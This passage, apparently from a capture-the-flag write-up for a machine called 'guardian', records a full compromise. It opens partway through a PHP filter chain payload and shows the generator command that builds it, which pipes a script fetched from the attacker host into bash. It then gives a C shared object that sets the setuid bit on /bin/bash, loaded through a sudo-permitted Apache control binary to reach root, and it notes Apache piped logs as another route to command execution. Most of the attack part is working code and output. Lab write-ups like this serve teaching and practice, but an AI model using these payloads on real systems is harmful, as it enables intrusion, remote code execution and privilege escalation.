O-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp,system.php

More specifically i used this payload:

1
(.venv) user@attackbox:~/hacking/tools/php_filter_chain_generator$ python3 php_filter_chain_generator.py --chain "<?php system('curl 10.10.14.57/s.sh|bash'); ?>"

lpe to root

mark can run a speicifc binary as root:

1
2
3
4
5
6
7
8
mark@guardian:~$ sudo -l
Matching Defaults entries for mark on guardian:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mark may run the following commands on guardian:
    (ALL) NOPASSWD: /usr/local/bin/safeapache2ctl

it asks for an arbitrary config file from mark’s home directory.:

1
2
mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl
Usage: /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf

i create a simple c module to change permissions for bin bash named “evil.c”:

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__((constructor)) void init() {
    setuid(0);
    system("chmod +s /bin/bash");
}

i compile it to confs:

1
gcc -shared -fPIC -o /home/mark/confs/evil.so ./evil.c

I create a malicious conf to /home/mark/confs/file.conf:

1
LoadModule evil_module /home/mark/confs/evil.so

run the script and n ow I’m root:

1
2
3
4
5
6
7
8
9
mark@guardian:~/confs$ sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf 
apache2: Syntax error on line 1 of /home/mark/confs/file.conf: Can't locate API module structure `evil_module' in file /home/mark/confs/evil.so: /home/mark/confs/evil.so: undefined symbol: evil_module
Action '-f /home/mark/confs/file.conf' failed.
The Apache error log may have more information.
mark@guardian:~/confs$ ls -la /bin/bash 
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash
mark@guardian:~/confs$ /bin/bash -p 
bash-5.1# cat /root/root.txt
287745590423feabd0a26b544f4fefdf

I could also use the apache log redirect technique (piped logs) that also allows me to execute arbitrary system commands like

1
CustomLog "| /usr/bin/tee /var/log/access_log" common

from apache.org docs: Apache httpd is capable of writing error and access log files through a pipe to another process, rather than directly to a file. This capability dramatically increases the flexibility of logging, without adding code to the main server. In order to write logs to a pipe, simply replace the filename with the pipe character “|”, followed by the name of the executable which should accept log entries on its standard input. Apache will start the piped-log process when the server starts, and will restart it if it crashes while the server is running. (This last feature is why we can refer to this technique as “reliable piped logging”.)

This post is licensed under CC BY 4.0 by the author.